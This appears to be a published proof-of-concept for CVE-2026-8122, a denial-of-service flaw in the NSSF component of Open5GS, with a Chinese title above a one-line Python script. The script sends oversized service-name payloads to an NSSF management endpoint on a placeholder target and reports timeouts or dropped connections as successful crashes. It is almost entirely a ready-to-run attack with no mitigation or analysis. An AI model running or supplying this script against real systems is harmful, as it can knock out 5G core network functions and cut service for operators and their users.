CVE-2026-8122 Open5GS NSSF组件拒绝服务漏洞

import requests import json # Target configuration # Open5GS NSSF typically listens on port 8000 (or configured SBI port) target_host = "<TARGET_IP>" target_port = "8000" url = f"http://{target_host}:{target_port}/nssf-nssf/v1/nsi-management" # Helper to create malicious payload targeting the vulnerable function # The vulnerability involves ogs_sbi_discovery_option_add_service_names # We send a large number of service names to induce parsing stress/crash def generate_malicious_payload(): payloads = [] # Case 1: Extremely long service name payloads.append({"nrfId": "http://localhost", "serviceNames": ["A" * 10000]}) # Case 2: Massive array of service names payloads.append({"nrfId": "http://localhost", "serviceNames": ["svc-{}".format(i) for i in range(10000)]}) return payloads print(f"[*] Attempting to trigger DoS on {target_host}...") for payload in generate_malicious_payload(): try: headers = {'Content-Type': 'application/json', 'Accept': 'application/json'} response = requests.post(url, data=json.dumps(payload), headers=headers, timeout=5) print(f"Status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Potential DoS triggered (Server Timeout)") except requests.exceptions.ConnectionError: print("[+] Potential DoS triggered (Connection Refused/Dropped)") except Exception as e: print(f"Error: {e}")